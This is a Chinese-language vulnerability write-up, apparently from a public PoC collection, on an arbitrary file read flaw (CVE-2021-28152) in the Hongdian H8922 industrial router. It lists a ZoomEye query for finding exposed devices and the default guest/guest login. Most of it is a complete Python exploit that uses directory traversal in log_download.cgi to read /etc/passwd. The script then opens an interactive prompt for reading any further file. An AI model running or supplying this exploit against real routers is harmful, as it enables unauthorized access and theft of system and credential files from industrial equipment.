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98 lines
3.4 KiB
Markdown
98 lines
3.4 KiB
Markdown
# 宏电 H8922 后台任意文件读取漏洞 CVE-2021-28152
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## 漏洞描述
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宏电 H8922 后台存在任意文件读取漏洞，低权限用户通过漏洞可以获取任意文件内容
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## 漏洞影响
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```
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宏电 H8922
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```
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## ZoomEye
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```
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app:"Hongdian H8922 Industrial Router"
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```
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## 漏洞复现
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登录后台(存在访客用户默认账号密码 guest/guest)
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漏洞存在于 log_download.cgi 文件中
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使用type参数读取文件并下载日志给用户，使用 **../../** 可以跳转根目录读取任意文件
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## 漏洞POC
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```python
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import requests
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import sys
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import random
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import re
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from lxml import etree
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mTitle : 宏电 H8922 后台任意文件读取漏洞 CVE-2021-28152 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url, filename):
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vuln_url = target_url + "/log_download.cgi?type=../..{}".format(filename)
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headers = {
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"Content-Type": "application/x-www-form-urlencoded",
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"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
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}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
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print("\033[32m[o] 正在请求 {}/log_download.cgi?type=../../etc/passwd \033[0m".format(target_url))
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if "root" in response.text and response.status_code == 200:
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print("\033[32m[o] 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功读取 /etc/passwd \033[0m".format(target_url))
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print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
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while True:
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filename = input("\033[35mFilename >>> \033[0m")
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if filename == "exit":
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sys.exit(0)
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else:
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POC_2(target_url, filename)
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else:
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print("\033[31m[x] 请求失败 \033[0m")
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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def POC_2(target_url, filename):
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vuln_url = target_url + "/log_download.cgi?type=../..{}".format(filename)
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headers = {
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"Content-Type": "application/x-www-form-urlencoded",
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"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
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}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
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print("\033[32m[o] {} \033[0m".format(response.text))
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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if __name__ == '__main__':
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title()
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filename = '/etc/passwd'
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url, filename)
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```
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